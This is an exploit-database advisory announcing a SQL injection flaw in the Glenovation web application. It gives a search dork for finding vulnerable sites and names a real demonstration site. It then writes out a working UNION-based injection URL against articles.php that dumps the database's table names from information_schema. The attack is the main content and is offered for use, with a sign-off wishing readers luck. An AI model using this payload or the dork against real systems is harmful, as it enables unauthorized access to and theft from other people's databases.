Glenovation SQL Injection

`================================================================  
Glenovation <= Remote Based SQL Injection Vulnerability  
================================================================  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1  
3 3  
3 _ __ __ ________ __ __ 3  
7 /' \ /'__`\ /'__`\ /\_____ \ /\ \/\ \ 7  
1 /\_, \/\_\L\ \ /\_\L\ \\/___//'/' \_\ \ \ \____ 1  
3 \/_/\ \/_/_\_<_\/_/_\_<_ /' /' /'_` \ \ '__`\ 3  
3 \ \ \/\ \L\ \ /\ \L\ \ /' /' /\ \L\ \ \ \L\ \ 3  
7 \ \_\ \____/ \ \____//\_/ \ \___,_\ \_,__/ 7  
1 \/_/\/___/ \/___/ \// \/__,_ /\/___/ 1  
3 >> Exploit database separated by exploit 3  
3 type (local, remote, DoS, etc.) 3  
7 7  
1 [+] Site : 1337db.com 1  
3 [+] Support e-mail : submit[at]1337db.com 3  
3 3  
7 ############################################ 7  
1 I'm KnocKout 1337 Member from 1337 DataBase 1  
3 ############################################ 3  
3 3   
7-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-7  
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
[+] Author : KnocKout  
[~] Contact : [email protected]  
[~] HomePage : http://h4x0resec.blogspot.com  
[~] Reference : http://h4x0resec.blogspot.com  
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|~Web App. : Glenovation  
|~Price : N/A  
|~Version : N/A  
|~Software: http://www.glenovation.com  
|~Vulnerability Style : Based SQL Injection  
|~Vulnerability Dir : /  
|~sqL : MysqL Based Error  
|~Google Keyword : "Powered by Glenovation"  
|[~]Date : "25.11.2010"  
|[~]Tested on : (L):Vista (R):Apache/2 PHP/5.2.14 MySQL >=5  
~~~~~~~~~~~~~~~~[~]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Demos:   
http://www.companyregistry.eu  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
===============================================================  
|{~~~~~~~~ Explotation| indexlight.php SQL Injection~~~~~~~~~~~}|  
  
http://$Site/$path/articles.php?id=2 {SQL Injection}  
  
  
Ex; http://www.companyregistry.eu  
  
[~] SQL Injecting  
http://www.companyregistry.eu/articles.php?id=2 and 1=0 union select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40 from information_schema.tables where table_schema=database()  
[~] Need : data for http live Header. <= use  
  
To your continue..  
  
=============================================================  
gOODLuck;)  
`